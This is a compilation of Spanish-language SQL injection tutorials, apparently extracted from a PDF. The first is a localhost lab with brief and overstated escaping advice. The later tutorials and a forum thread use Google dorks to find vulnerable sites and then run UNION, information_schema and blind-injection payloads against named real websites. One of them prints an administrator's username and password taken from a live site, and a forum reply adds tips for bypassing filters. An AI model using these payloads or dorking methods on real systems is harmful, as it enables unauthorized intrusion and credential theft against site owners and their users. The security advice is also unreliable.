Está en la página 1de 116

Introduccin a los ataques SQL Injection

10 julio, 2010 Deja un comentario Ir a los comentarios Para explicar las inyecciones SQL voy a presuponer que se tienen ciertos conocimientos de desarrollo de aplicaciones web utilizando un lenguaje del lado del servidor como PHP, as como el uso de SQL para realizar consultas a una base de datos MySQL. En primer lugar veremos una explicacin terica sobre los ataques SQL Injection. Despus un ejemplo prctico de como aprovecharse de esta vulnerabilidad para extraer informacin de la base de datos y por ltimo veremos como podemos proteger nuestras aplicaciones de este tipo de ataques. Teora sobre los ataques SQL Injection Los ataques SQL Injection explotan una vulnerabilidad en la validacin de las entradas a la base de datos de una aplicacin. Una inyeccin SQL consiste en inyectar un cdigo SQL invasor dentro de otro cdigo SQL para alterar su funcionamiento normal haciendo que se ejecute el cdigo invasor en la base de datos. La mayora de aplicaciones webs consisten en un conjunto de operaciones con la base de datos, por ejemplo, en un foro para crear nuevos comentarios se insertan registros en la base de datos y para listar las entradas se seleccionan registros en la base de datos. Estas operaciones reciben el nombre de CRUD (Create, Retrieve, Update y Delete). Las aplicaciones son un conjunto de mdulos separados que interaccionan entre s a travs de los enlaces y los formularios. Por lo tanto es normal que el desarrollador enlace las distintas pginas utilizando variables que despus utilizar para hacer las consultas pertinentes a la base de datos. Vamos a ver un ejemplo terico para que quede claro como funcionan la mayora de las aplicaciones web. Imaginaros que entrais al ndice principal de un foro donde podes ver cada categora. Si quereis ver las entradas de cierta categora pulsareis sobre el enlace y os mostrar las primeras entradas paginadas. La URL del enlace podra ser algo as (es ficticia, no entreis):
http://www.miforoinventado.com/viewforum.php?cat=3

Internamente el desarrollador realizar una consulta a la tabla de entradas y seleccionar aquellas cuya categora tenga un id igual a tres. La consulta podra ser algo as:
$consulta = 'SELECT * FROM entrada WHERE entrada.id_categoria = '.$_GET['cat']. ' ORDER BY entrada.fecha ASC LIMIT 1,10';

Esta consulta es vulnerable a ataques SQL Injection. El desarrollador est presuponiendo que nadie va a alterar los datos de entrada de la variable cat y la utiliza en la consulta sin

haber pasado antes algunos filtros para evitar las inyecciones SQL. Por lo que podemos decir que este tipo de vulnerabilidad est presente en aquellas consultas que confan en los datos de entrada del usuario y como ya hemos dicho muchsimas veces, una regla fundamental del desarrollo de aplicaciones web es nunca confiar en las entradas de los datos del usuario, ya que podran verse alteradas, ya sea porque el usuario es un cracker que se quiere divertir o porque el gato del usuario se aburre y se ha puesto a caminar por encima del teclado. Ejemplo prctico de ataque SQL Injection Vamos a ver un ejemplo sencillo para practicar las inyecciones SQL. Antes de empezar con los ataques SQL Injection, nos preparamos un entorno seguro de pruebas: 1. Conectamos el servidor web Apache y el servidor MySQL. 2. Creamos una base de datos llamada inyeccion.
CREATE DATABASE inyeccion; USE inyeccion;

3. Creamos una tabla usuario donde se almacenarn los nombres de usuario con las contraseas de todos los usuarios que utilizen nuestra aplicacin.
CREATE TABLE usuario ( id INT(15) UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY, login VARCHAR(30) NOT NULL, password VARCHAR(50) NOT NULL, email VARCHAR(50) NOT NULL );

4. Rellenamos la tabla con datos de prueba.


INSERT VALUES (NULL, (NULL, (NULL, (NULL, INTO usuario (NULL, 'francisco', 'password_francisco', 'email_francisco'), 'jose', 'password_jose', 'email_jose'), 'julia', 'password_julia', 'email_julia'), 'estefania', 'password_estefania', 'email_estefania'), 'pablo', 'password_pablo', 'email_pablo');

5. Desarrollamos un script PHP de prueba para inyecciones. Algo sencillo, por ejemplo, un formulario de inicio de sesin que le pida al usuario su id y le muestre al usuario la informacin que la aplicacin dispone de l, es decir, su id, su login y su email.
<html> <head> <title>SQL Injection</title> </head> <body>

<form action="inyecciones.php" method="get"> <label for="id">ID: </label> <input type="text" id="id" name="id" /> <input type="submit" value="Iniciar" /> </form> <?php if( isset($_GET['id']) ) { $id = $_GET['id']; $mysqli = new mysqli('localhost', 'root', ''); $mysqli->select_db('inyeccion'); $consulta = 'SELECT * FROM usuario WHERE id='.$id; echo $consulta.'<br />'; $resultado = $mysqli->query($consulta); $usuario = $resultado->fetch_row(); echo 'DATOS DEL USUARIO: <br />'; echo 'ID: '.$usuario[0].'<br />'; echo 'LOGIN: '.$usuario[1].'<br />'; echo 'EMAIL: '.$usuario[3].'<br />'; $resultado->free(); $mysqli->close(); } ?> </body> </html>

Como nosotros hemos sido los que hemos desarrollado el cdigo de prueba sabemos que la consulta es vulnerable a inyecciones SQL porque no filtra los datos de entrada. Lo normal es no disponer del cdigo y realizar inyecciones a ciegas, lo que se conoce como Blind SQL Injection. Antes de nada vamos a ver como funciona nuestro pequeo script accediendo a l desde el navegador:

Introducimos algunos datos de prueba:

Pulsamos el botn Iniciar y vemos que nos muestra de nuevo el formulario para seguir haciendo pruebas, la consulta que se ha ejecutado en el servidor MySQL y los datos que ha recuperado esa consulta, el id, el login y el email:

Fijaros atentamente en la barra de direccin del navegador que es desde donde vamos a realizar las inyecciones, en nuestro ejemplo tambin podramos inyectar desde el formulario porque estamos utilizando el mtodo GET de HTTP para pasar los datos al servidor.
http://localhost/pruebas/inyecciones.php?id=1 Comprobando si la aplicacin es vulnerable a SQL Injection:

Para comprobar si la aplicacin es vulnerable a SQL Injection lo normal es probar alguna inyeccin SQL bsica para ver lo que sucede.
http://localhost/pruebas/inyecciones.php?id=1 and 1=1 -SELECT * FROM usuario WHERE id=1 and 1=1 -DATOS DEL USUARIO: ID: 1 LOGIN: francisco EMAIL: email_francisco

Como podemos observar hemos inyectado nuestro primer cdigo SQL en la consulta y nada ha cambiado, sigue funcionando de la misma manera. Sino fuera porque mostramos la consulta que se ejecuta en el servidor todava no sabramos si la aplicacin es vulnerable dado que sigue funcionando de la misma forma. Esto es as porque simplemente hemos aadido una condicin a la seleccin que siempre se va a cumplir, puesto que uno es igual a uno. Los dos guiones se utilizan para comentar todo lo que venga despus de la consulta. Para comprobar si es vulnerable aadimos una condicin que nunca se cumple y vemos que es lo que sucede.
http://localhost/pruebas/inyecciones.php?id=1 and 1=0 -SELECT * FROM usuario WHERE id=1 and 1=0 -DATOS DEL USUARIO: ID:

LOGIN: EMAIL:

EUREKA! Tenemos una aplicacin vulnerable a SQL Injection, aunque ya lo sabamos desde un principio. Vemos que al aadir una condicin que nunca se va a cumplir, puesto que uno nunca va a ser igual a cero, la consulta no devuelve ningn registro y no muestra ningn dato por pantalla.
Extrayendo datos:

Ya sabemos que nuestra aplicacin es vulnerable a las inyecciones SQL. En primer lugar vamos a extraer el nmero de columnas que tiene la tabla usuario. Para poder saber el nmero de columnas vamos a jugar con la opcin ORDER BY de la sentencia SELECT. La cuestin es que si intentamos ordenar los registros que seleccionamos por un nmero mayor de las columnas que tengamos la consulta no devolver ningn registro dado que se producir un error fatal y se abortar la ejecucin del script.
http://localhost/pruebas/inyecciones.php?id=1 order by 1 -SELECT * FROM usuario WHERE id=1 order by 1 -DATOS DEL USUARIO: ID: 1 LOGIN: francisco EMAIL: email_francisco http://localhost/pruebas/inyecciones.php?id=1 order by 2 -SELECT * FROM usuario WHERE id=1 order by 2 -DATOS DEL USUARIO: ID: 1 LOGIN: francisco EMAIL: email_francisco http://localhost/pruebas/inyecciones.php?id=1 order by 3 -SELECT * FROM usuario WHERE id=1 order by 3 -DATOS DEL USUARIO: ID: 1 LOGIN: francisco EMAIL: email_francisco http://localhost/pruebas/inyecciones.php?id=1 order by 4 -SELECT * FROM usuario WHERE id=1 order by 4 -DATOS DEL USUARIO: ID: 1 LOGIN: francisco EMAIL: email_francisco http://localhost/pruebas/inyecciones.php?id=1 order by 5 -SELECT * FROM usuario WHERE id=1 order by 5 -Fatal error: Call to a member function fetch_row() on a

non-object in C:\wamp\www\pruebas\inyecciones.php on line 28

Hemos descubierto que la tabla usuario (aunque nosotros no sabemos todava que la tabla se llama usuario) tiene 4 columnas, puesto que con ORDER BY 5 se produce un error fatal. He activado la directiva display_errors en la configuracin de PHP para que muestre los errores fatales que se producen.
Obteniendo informacin del servidor:

Antes de comenzar a extraer informacin del servidor MySQl tenemos que explicar la sentencia UNION para unir consultas. Nuestro script est programado para ejecutar las sentencias SQL de una en una, es decir, no podemos ejecutar mltiples sentencias a la vez, por eso nos valemos de la sentencia UNION que se encarga de unir los resultados de dos o ms consultas. Solo hay un inconveniente, que todas las sentencias SELECT que unamos con UNION deben de utilizar el mismo nmero de columnas, por eso hemos extrado el nmero de columnas anteriormente.
http://localhost/pruebas/inyecciones.php?id=-1 UNION SELECT 1,2,3,4 SELECT * FROM usuario WHERE id=-1 UNION SELECT 1,2,3,4 DATOS DEL USUARIO: ID: 1 LOGIN: 2 EMAIL: 4

Qu estamos haciendo? Hemos unido dos consultas, una que no devuelve ningn dato porque no existe ningn usuario con identificador negativo, y una consulta que devuelve un 1, un 2, un 3 y un 4. De esta forma vemos como se muestran los datos de la segunda consulta, en concreto, se muestra un 1, un 2 y un 4. Ahora podremos sustituir esos tres nmeros en nuestra consulta para extraer informacin del servidor MySQL. Podemos utilizar algunas funciones para extraer informacin: user(): Devuelve el usuario de la base de datos. version(): Devuelve la versin del servidor MySQL. - database(): Devuelve el nombre de la base de datos actual. - current_user(): Devuelve el nombre de usuario y el del host para el que est autenticada la conexin. - last_insert_id(): Devuelve el ltimo valor generado automticamente que fue insertado en una columna AUTO_INCREMENT. - connection_id(): Devuelve el ID de una conexion.
http://localhost/pruebas/inyecciones.php?id=-1 UNION user(),database(),3,version() SELECT * FROM usuario WHERE id=-1 UNION SELECT user(),database(),3,version() DATOS DEL USUARIO: ID: root@localhost LOGIN: inyeccion

EMAIL: 5.1.36-community-log

Ya tenemos el usuario que estamos utilizando para acceder a la base de datos, y mira que suerte, es root, as que seguramente tengamos todos los privilegios asignados para hacer todo lo que queramos. Tambin tenemos el nombre de la base de datos, inyeccion, y adems la versin MySQL que estamos utilizando 5.1.36-community-log. Con todos estos datos ya podramos empezar a hacer cosas interesantes, pero no va de eso este artculo. Sigamos extrayendo informacion.
http://localhost/pruebas/inyecciones.php?id=-1 UNION SELECT current_user(),last_insert_id(),3,connection_id() SELECT * FROM usuario WHERE id=-1 UNION SELECT current_user(),last_insert_id(),3,connection_id() DATOS DEL USUARIO: ID: root@localhost LOGIN: 0 EMAIL: 44

Lo normal cuando encontramos una vulnerabilidad de este estilo es extraer un usuario y una contrasea para acceder remotamente al servidor y ya desde un entorno ms sencillo, como una lnea de comandos, obtener toda la informacin que queramos. MySQL cuenta con una base de datos interna llamada mysql. Dentro de esta base de datos almacena los usuarios y las contraseas en una tabla llamada users. Por lo tanto podemos obtener esta informacin inyectando una sentencia SQL:
http://localhost/pruebas/inyecciones.php?id=-1 UNION select host, user, 3, password from mysql.user SELECT * FROM usuario WHERE id=-1 UNION select host, user, 3, password from mysql.user DATOS DEL USUARIO: ID: localhost LOGIN: root EMAIL:

Vemos que el usuario es root, el servidor est en localhost dado que est en mi ordenador, pero aqu obtendrais la direccin ip o el nombre de dominio donde estuviera alojado el servidor, y por ltimo que no tiene contrasea. VAYA SEGURIDAD! Si tuviera contrasea os dara un hash que tendras que crackear utilizando por ejemplo el John The Ripper. Ahora podemos conectarnos recomtamente en el puerto 3306 que es el que suele usar MySQL por defecto y obtener todos los datos que queramos. Si no podemos acceder remotamente desde la lnea de comandos podemos seguir extrayendo informacin mediante inyecciones haciendo uso de las tablas mysql e information_schema. Protegiendo nuestras aplicaciones de ataques SQL Injection:

Este tipo de vulnerabilidades son muy peligrosas y hay que aprender a protegerse de ellas. Hay muchos trucos para ponrselo ms difcil a los atacantes. Una de las mejores soluciones es utilizar la funcin mysql_real_escape_string() que se encarga de escapar los caracteres especiales utilizados en las consultas SQL, o utilizar el mtodo real_escape_string() si utilizamos la versin orientada a objetos. Podemos utilizar este mtodo para escapar los strings que se pasen a las consultas SQL pero si utilizamos datos numricos en vez de cadenas podemos comprobar que el dato de entrada es un nmero entero o es un nmero decimal, ya sea mediante las funciones is_int() o is_float() o realizando castings (int), (float). Vamos a ver un ejemplo de consulta SQL que no es vulnerable a inyecciones SQL:
$consulta= 'SELECT * FROM categoria WHERE id_categoria=\''.(int)$_GET['id'].'\''; $consulta= 'SELECT * FROM categoria WHERE titulo=\''.mysql_real_escape_string($_GET['titulo']).'\';

De esta forma protegemos nuestras aplicaciones de todo tipo de inyecciones SQL. RESUMEN: EN este artculo hemos visto que peligroso puede ser este tipo de vulnerabilidades en nuestras aplicaciones ya que mediante inyecciones SQL pueden obtener todos los datos que quieran de nuestra base de datos, incluso de ficheros alojados en el servidor. Hemos practicado un poco con un ejemplo muy sencillo. Podis seguir practicando con el mismo ejemplo y extraer todos los datos que querais de las tablas mysql e information_schema, desde el nombre de todas las tablas de la base de datos, nombres de las columnas, registros de las tablas, etc.

SQL Injection desde cero

Introduccin:
Hola a todos, En este tutorial les enseare SQLi desde cero. Al ser un tutorial con fines educativos y no destructivos. Solamente veremos cmo obtener el usuario y contrasea de administrador. El resto corre por cuenta de cada uno lo que quiera hacer con el acceso Se comenzara buscando una web cualquiera en google, buscaremos un lugar en la web para

inyectar, haremos la inyeccin y obtendremos los datos de acceso. Pero antes comenzaremos con un poco de teoria.

SQL
Es un lenguaje normalizado, estructurado de consultas a bases de datos. Esto quiere decir, que en casi todas las consultas a distintos tipos de bases de datos, se usan las mismas sentencias. SQL, cuenta con dos comandos, que son los DLL (permiten crear y definir bases de datos, campos e ndices) y por otro lado los comandos DML (permiten generar consultas, filtrar y extraer datos de la base de datos). Nos centraremos en ese ltimo, ya que SQLi, consiste en generar consultas a la base de datos para que nos devuelva datos de inters. Los comandos DML son: Delete: Permite eliminar registros de la base de datos. Update: Modifica valores de campos previamente creados. Select: Sirve para consultas registros en la base de datos. Insert: Carga lotes de datos en una base de datos.

Clausulas
Las clausulas son condiciones de modificacin. Y se emplean para definir datos o manipularlos. Entre las clausulas tenemos: Order By: Ordena registros seleccionados Group by: separa registros Having: expresa una condicin que debe satisfacer cada grupo From: Sirve para especificar una tabla de la cual se quieren obtener registros Where: Sirve para las condiciones que debe reunir un registro para ser seleccionado

Operadores Logicos
Los operadores lgicos o conectivos lgicos se utilizan para conectar dos formulas para que el valor de verdad. Siempre darn un valor de verdad verdadero o falso y se leen de izquierda a derecha. Los operadores lgicos usados son: Or: Evalua dos condiciones, devolviendo un valor de verdad verdadero si alguna de las dos es verdadera And: Evalua dos condiciones y devuelve un valor de verdad verdadero, si ambas condiciones son

iguales. Not: Devuelve un valor contrario a la expresin. Si la expresin es True, devolver False y viceversa

Operadores de comparacin:
Los operadores de comparacin, son utilizados para comparar dos valores o formulas. Los operadores son: < Menor que > Mayor que <> Distinto que >= Mayor o igual que <= Menor o igual que Between: especifica un intervalo de valores Like: Compara un modelo In: Especifica registros en una base de datos

Funciones de agregado
Estas formulas se utilizan dentro de la clausula Select en grupos de registros para devolver un nico valor que se aplica en un grupo de registros. Max: devuelve el valor ms grande de un campo especfico Min: Devuelve el valor ms chico de un campo especifico. Sum: Se utiliza para devolver la suma de todos valores de un campo especfico Avg: calcula el promedio de un campo especfico Count: Devuelve el numero de registros de la seleccin Limit: devuelve un rango de resultados deseados en lugar de todos los que puede devolver dicha consulta.

Otras consultas
Veremos a continuacin otras consultas que se suelen utilizar en las inyecciones SQL. Union: Sirve para combinar el resultado de dos consultas juntas. Information_schema.tables: Devuelve informacin de una tabla determinada Information_schema.columns: Devuelve informacin de una columna determinada Concat: Concatena los resultados de varios campos diferentes Group_concat: devuelve como resultado una cadena de concatenacin de un grupo de valores no nulos Char: se utiliza para insertar caracteres de control en cadenas de caracteres.

SQLi
Este tipo de ataque consiste en inyectar cdigo SQL en una sentencia SQL ya programada, con el fin de alterar el funcionamiento de la base de datos. Lo que haremos a lo largo de este tutorial, ser inyectar cdigo SQL a una web, con el fin de ocasionarle errores a la base de datos para que nos devuelva datos que usaremos en nuestra inyeccin y finalmente obtener los datos de acceso al panel de administracin.

Dorks:
Los Dorks son palabras claves que usaremos para encontrar sitios vulnerables. Un ejemplo de dork seria el siguiente: noticia.php?id= En google deberamos poner lo siguiente: inurl: noticia.php?id= Esto nos arrojara muchos resultados de sitios que quizs ya no sean vulnerables. Pero es por eso que debemos ir alternando Dorks, hasta que logremos dar con una. El mtodo para generar dorks seria cambiar el noticia por otro nombre, por ejemplo news, view, photo, etc. Y el resto quedara igual. Otra de las cosas a tener en cuenta, es que despus de realizar la bsqueda, ir a las pginas del final que son las que ms desactualizadas estn y probablemente sean vulnerables. Veremos a continuacin un ejemplo:

Coloco el Dork en google y comienzo a navegar, buscando webs que puedan llegar a ser vulnerables. Yo encontr esta:

Como se puede ver, ah en la url aparece el dork que coloque en google

Pero cmo me doy cuenta si es o no vulnerable?


Ac empieza la parte entretenida. Lo que debemos hacer es borrar lo que esta despus de id= y provocar un error en la base de datos. Y de qu forma podemos provocar un error? Fcil colocando caracteres no permitidos, por ejemplo una comilla, un numero negativo, etc. Colocare un -1 (uno negativo) y veremos cmo se comporta la web

Pagina original:

Pagina con el -1:

Se puede notar que no han cargado elementos dentro del cuerpo de la pgina, esto da seal a que puede ser vulnerable. Ahora probemos colocando una comilla:

Nos tira un error de la base de datos: ? 1Fatal error: Call to a member function RecordCount() 2
on a non-object in /home/samg/public_html/include/objetos/Noticia.class.php

3on line 333 Con esto podemos ver que pudimos generar un error en la consulta a la base de datos.

SQL Injection
Ahora probaremos si realmente es vulnerable o no a SQLi. Para ello, despus del id= colocaremos lo siguiente: ? 1-1+UNION+SELECT+1,2--

Y en mi caso, en el cuerpo de la pgina, me sale el mismo Fatal error que cuando ingrese la comilla simple. Lo que debemos hacer ahora, es comenzar a aadir nmeros, hasta que ese error desaparezca. La inyeccin seria as: ? 1-1+UNION+SELECT+1,2,3-2-1+UNION+SELECT+1,2,3,4-3-1+UNION+SELECT+1,2,3,4,5-Y asi sucesivamente hasta que el error desaparezca. En mi caso quedo hasta el numero 12, pero hay ocasiones en las que puede superar los 60!

Cuando el error ya no este, nos volver a mostrar la pagina, y curiosamente contiene uno o mas nmeros en el cuerpo de la web

Ese 5 y ese 2, son nmeros de tablas, la web es vulnerable a SQLi. En este caso debo elegir uno de los dos nmeros, yo seleccionare el 5 por que es el mas vistoso, pero en definitiva se puede usar cualquiera. Usare a ese 5 para que me muestre los nombres de las tablas en su lugar. Lo que sigue ahora es agregar despus del ltimo nmero de la url el siguiente cdigo: ? 1+from+information_schema.tables-Quedara en mi caso, as:

Y reemplazar el nmero 5 (que fue el numero que nos apareci en el cuerpo de la pagina) por table_name

Una vez hecho esto, presionamos enter y veremos que en el cuerpo del mensaje nuestro numero desapareci y apareci el nombre de una tabla en su lugar.

Lo que debemos hacer ahora, es agregar despus de information_schema.tables lo siguiente: ? 1+limit+2,1--

Quedara algo as:

Y si miramos el cuerpo del mensaje, el nombre de la tabla, cambi

Lo que sigue, es ir sumndole +1 al limit para que valla de forma creciente, hasta encontrar una tabla que pueda contener los datos del administrador de la pgina El limit debera ir de la siguiente forma: ? 1+limit+2,1--

2+limit+3,1-3+limit+4,1-4
+limit+5,1--

Y as sucesivamente hasta hallar una tabla importante. En mi caso llegue hasta la 38 y encontr la de administradores.

Lo que sigue, es convertir ese nombre a ASCII. Asique buscaremos en google algn conversor de string a ascii.

El resultado de samg_administradores es el siguiente: ? 1


115 97 109 103 95 97 100 109 105 110 105 115 116 114 97 100 111 114 101 115

Ahora sacaremos los espacios que hay entre los nmeros y colocaremos comas entre los valores: ? 1
115,97,109,103,95,97,100,109,105,110,105,115,116,114,97,100,111,114,101, 115

Guardaremos esa cadena de nmeros para usarla luego en nuestra inyeccin. Ahora volvemos a nuestra inyeccin y cambiaremos table_name por group_concat(column_name) y information_schema.tables por

? 1
information_schema.columns+where+table_name=char(115,97,109,103,95,97,10 0,109,105,11

20,105,115,116,114,97,100,111,114,101,115)-y quitamos el +limit+ con sus valores numricos. Debera quedar as: ?
http://www.samg.es/web/noticias/noticia.php?id=-

11+UNION+SELECT+1,2,3,4,group_concat(column_name) 2,6,7,8,9,10,11,12+from+information_schema.columns+where+table_name=char(
115,97,109,

103,95,97,100,109,105,110,105,115,116,114,97,100,111,114,101,115)--

Si observamos, el cuerpo de la pgina, veremos la composicin de las columnas de la tabla

Las que me sirven en mi caso son las columnas de Login y Password, asique ahora reemplazaremos en la inyeccin lo siguiente: ? 1group_concat(column_name) por concat(Login,0x3a,Password) Concat significa concatenar, algo similar que unir. Y el 0x3a, son dos puntos. Esto es para que el usuario y la contrasea no aparezcan juntas, sino que los separe los dos puntos. Teniendo un resultado algo as: Usuario:Contrasea Y borraremos desde information_schema.columns en adelante y dejaremos solamente el +from+ Y luego de ese from, colocamos el nombre de la tabla, que en mi caso se llamaba: samg_administradores Quedndome lo siguiente:

Y en el cuerpo de la pgina, podremos ver los datos del administrador:

? 1Usuario: samg 2Contrasea: samg06 En caso de querer hackear la web, solo resta encontrar el panel de admin con algn admin finder. Pero como dije al principio del tutorial, este paper es con fines educativos. Espero que les haya gustado y que les sea til. ANTRAX

Tutorial Sqli Manual By Okol

en: Mayo 20, 2012, 08:51:16 pm

Citar

Hola amigos me ezforze mucho escribiendo este tuto para uds espero les guste Saludos Sqli Manual en este caso una variable aki viene siendo Cdigo: [Seleccionar]
http://www.icvp.mx/enfermedades_detalle.php?id=5

la variable id resultado de la variable 5un ejemplo

Cdigo: [Seleccionar]
http://www.icvp.mx/enfermedades_detalle.php?id=5&ref=google&a=b

vendrian siendo las variables id ref co a Cdigo: [Seleccionar]


http://www.icvp.mx/enfermedades_detalle.php?id=5&ref=google.com&g=d&cos=s ss

si queeremos comprobar que la variable g es vulnerable donde pondriamos la comilla? Cdigo: [Seleccionar]
http://www.icvp.mx/enfermedades_detalle.php?id=5&ref=google.com&g=d'&cos= sss

cuando verifiques si una variable es vulnerable pruebas asi: Cdigo: [Seleccionar]


http://gogo.com/index.php?var=vuln' y http://gogo.com/index.php?var='vuln

de las dos maneras pruebas para saber cuantas columnas tiene podemos poner Cdigo: [Seleccionar]
http://www.icvp.mx/enfermedades_detalle.php?id=5+order+by+6

si ponemos Cdigo: [Seleccionar]


http://www.icvp.mx/enfermedades_detalle.php?id=5+order+by+7

sale ke no existe pero con 6 sale bien quiere decir que tiene 6 columnas Cdigo: [Seleccionar]
http://www.icvp.mx/enfermedades_detalle.php?id=5+union+select+1,2,3,4,5,6 ,

salta normal Cdigo: [Seleccionar]

http://www.icvp.mx/enfermedades_detalle.php?id=5+union+select+1,2,3,4,5,6 ,7

salta error quiere decir que es la 6 notA: una injeccion siempre deve tener -- al final ejemplo http://www.icvp.mx/enfermedades_detalle.php?id=5+union+select+1,2,3,4,5,6-tambien se puede hacer Cdigo: [Seleccionar]
http://www.icvp.mx/enfermedades_detalle.php?id=5+union+select+0,1,2,3,4,5 --

(Desde el 1 al 6 o desde 0 al 5) es lo mismo Para que query se vuelva negativo y sake un error hay ke poner un - antes de la variable vulnerable ejemplo http://www.icvp.mx/enfermedades_detalle.php?id=-5+union+select+1,2,3,4,5,6-Salen unos numeros botados por ahi en este caso es el 4 si le damos click a el error que sale salen los numeros 4 3 y 6 Cada numero esta involucrado en la injeccion Cdigo: [Seleccionar]
ejemplo http://www.icvp.mx/enfermedades_detalle.php?id=5+union+select+0,1,2,3,4,5,--

saldrian 5 3 2 esos numeros estan haciendo querys ala db con este comando database() se saca el nombre de la db Como? sustituimos un numero ke imprime 5 3 o 2 ejemplo Cdigo: [Seleccionar]
http://www.icvp.mx/enfermedades_detalle.php?id=5+union+select+0,1,2,3,4,database()--

para ver la version de PHP enves de poner database()

se pone version() (en otro numero que imprima en estecaso 2) ejemplo Cdigo: [Seleccionar]
http://www.icvp.mx/enfermedades_detalle.php?id=5+union+select+0,1,version(),3,4,5--

Para sacar las tablas... cuando quieras sacar informacion de las tablas nombres o cantidad de tablas lo sacamos de information_schema.tables y cuando sea de columnas information_schema.colums si queremos sacar las columnas la url seria asi Cdigo: [Seleccionar]
http://www.tacosaltos.com/index2.php?o=CA&catID=4+union+select+1,column_name,3,4,5,6+FROM+information_schema.columns--

y las tablas Cdigo: [Seleccionar]


http://www.tacosaltos.com/index2.php?o=CA&catID=4+union+select+1,table_name,3,4,5,6+FROM+information_schema.tables--

en algunos casos nos sale solo 1 tabla para ir sabiendo mas tablas aplicamos LIMIT+1+1-LIMIT+2+1-- asi succesivamente Cdigo: [Seleccionar]
http://www.telemedik.com/articulos.php?id=288+union+select+1,2,3,table_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 +FROM+information_schema.tables+LIMIT+4,1--

ya que sacamos las tablas encontramos la tabla usuarios users o algo asi Cdigo: [Seleccionar]
http://www.telemedik.com/articulos.php?id=288+union+select+1,2,3,table_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 +FROM+information_schema.tables+LIMIT+49,1--

ya tenemos eso ahora que hacemos? encriptamos la tabla en ascii to hex les recomiendoe sta web para encryptarlo http://www.seguridadwireless.net/php/conversoruniversal-wireless.php Ok ahora en la url sustituimos los table_name por column_name y en information_schema.tables ponemos information_schema.columns seguido de un +where+table_name=el codigo encriptado(le agregamos un 0x al inicio y le quitamos los espacios) y el limit lo ponemos en 1,1 Quedaria algo asi

Cdigo: [Seleccionar]
http://www.telemedik.com/articulos.php?id=288+union+select+1,2,3,column_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,1 9+FROM+information_schema.columns+where+table_name=0x7573657273+LIMIT+1,1 --

ven la url? nos tira username ahora moveremos el 1,1 asi 2,1 3,1 sucesivamente hasta que salga pass o algo parecido Ahora borramos hasta que quede la injeccion normal algo asi Cdigo: [Seleccionar]
http://www.telemedik.com/articulos.php?id=288+union+select+1,2,3,column_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,1 9+FROM+

donde dice from+ le ponemos el nombre de la tabla (users) quedaria asi Cdigo: [Seleccionar]
http://www.telemedik.com/articulos.php?id=288+union+select+1,2,3,column_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,1 9+FROM+users--

cambiamos el column_name por el nombre de la columna que queremos ejemplo Cdigo: [Seleccionar]
http://www.telemedik.com/articulos.php?id=288+union+select+1,2,3,username,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+F ROM+users--

Cdigo: [Seleccionar]
http://www.telemedik.com/articulos.php?id=288+union+select+1,2,3,password,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+F ROM+users--

Si tienen dudas ami privado amigos Gracias Dedalo - me enseo como Saludos

Te complemento okol... Quizas debes especificar y/o aclarar mas lo de los comentarios al final de la injection SQL... porque en los ejemplos en donde aplicas el order by no pusiste los comentarios!!! Le puedes aadir a tu post otros posibles comentarios como en vez de "--" /* y en ves de "+" /**/

porque aveces pasa que con un comentario funciona y con otro no... Tambien le puedes aadir una forma de bypass, ya que aveces al iniciar poniendo ej: www.site.com/index.php?id=1+order+by+9999-Puede que no te muestre nada... Una forma de bypass seria: www.site.com/index.php?id=1'+order+by+20--+-

Bno, solo digo eso por complementar...!!!

SALu2

Blind SQLi [SQLi a ciegas]

Introduccin:
Hola a todos los lectores, en este Nuevo paper vamos a ver la Blind SQLi, como es, para que sirve y como emplearla. Intentare explicarlo lo mejor posible y con un ejemplo para que puedan guiarse mejor. Aclaro que este tutorial est hecho con fines educativos y no destructivos. No me hago responsable del mal uso que puedan darle.

Qu es Blind SQLi?
Blind SQLi o Ataque a ciegas por SQLi es otro mtodo o alternativa a la tradicional SQLi, es utilizada cuando la web no tira ningn tipo de error ya que los webmasters han quitado la o desactivado el SHOW_WARNINGS y SHOW_ERRORS que son los encargados de imprimir errores en pantalla cada vez que se hace una peticin errnea a la base de datos pero si podemos comprobar datos por medio de verdaderos o falsos y a lo largo de este paper veremos a que se refiere con esos verdaderos y falsos. El nombre Blind SQLi o SQLi a ciegas hace referencia a que los nombres de las tablas y dems datos que saquemos, lo haremos adivinndolo ya que no mostrara ningn error en pantalla. Para este paper usaremos la siguiente url como ejemplo: http://digitaria.net

Como se puede ver, es de alguien que disea websites, vamos a ver que tal es el servicio que ofrece Para saber si es o no vulnerable, debemos buscar algn sitio en donde haga peticiones a la bd para poder inyectar. Yo probare usando esto: http://www.digitaria.net/noticia.php?id=25

Para probar si la web es vulnerable o no, vamos a aplicar intentar ver si nos arroja esos verdaderos o falsos de los que hablamos anteriormente. Lo que debemos hacer es aadirle a la url esto: AND 1=1 >> Verdadero AND 1=0 >> Falso O sea que si tenemos la url: http://www.digitaria.net/noticia.php?id=25 Para el caso verdadero seria: http://www.digitaria.net/noticia.php?id=25 AND 1=1 Para el caso falso seria: http://www.digitaria.net/noticia.php?id=25 AND 1=0 Veamos como afecta esto en la visualizacin de la pgina Verdadero:

Falso:

Como se puede ver, el caso falso no carga nada Existen variables al AND como lo es el having

Verdadero >> Having 1=1

Falso >> Having 1=0

Entre otros Pero nosotros usaremos el AND para no complicarnos tanto Ahora vamos a buscar el nombre de alguna tabla de la cual podamos obtener datos que a nosotros nos interese. En este caso, yo quiero encontrar alguna tabla de usuarios o administradores para poderme loguear. Comencemos A nuestra url le vamos a aadir:

AND (SELECT(COUNT(*)) FROM usuarios);

Debera quedar as:

http://www.digitaria.net/noticia.php?id=25 AND (SELECT(COUNT(*)) FROM usuarios);

El COUNT sirve para realizar un contador con el nmero de filas que tenga una tabla. Con esto haremos la consulta para saber si la tabla usuarios existe o no

Falso Debemos seguir probando, hasta que algn nombre que coloquemos de verdadero. Despus de probar varias veces, logre dar con el nombre de la tabla que tiene informacin valiosa. El nombre de esta tabla es admin y como se ve en la imagen, me volvi a mostrar el contenido, esto quiere decir que es Verdadero.

Ahora veremos cuantos registros tiene esta tabla. O sea cuantos usuarios admines tiene esta pgina. Para ello, modificaremos un poco lo que colocamos anteriormente por esto:

AND (SELECT(COUNT(*)) FROM admin) > 7 Esto quiere decir que hay ms de 7 admines

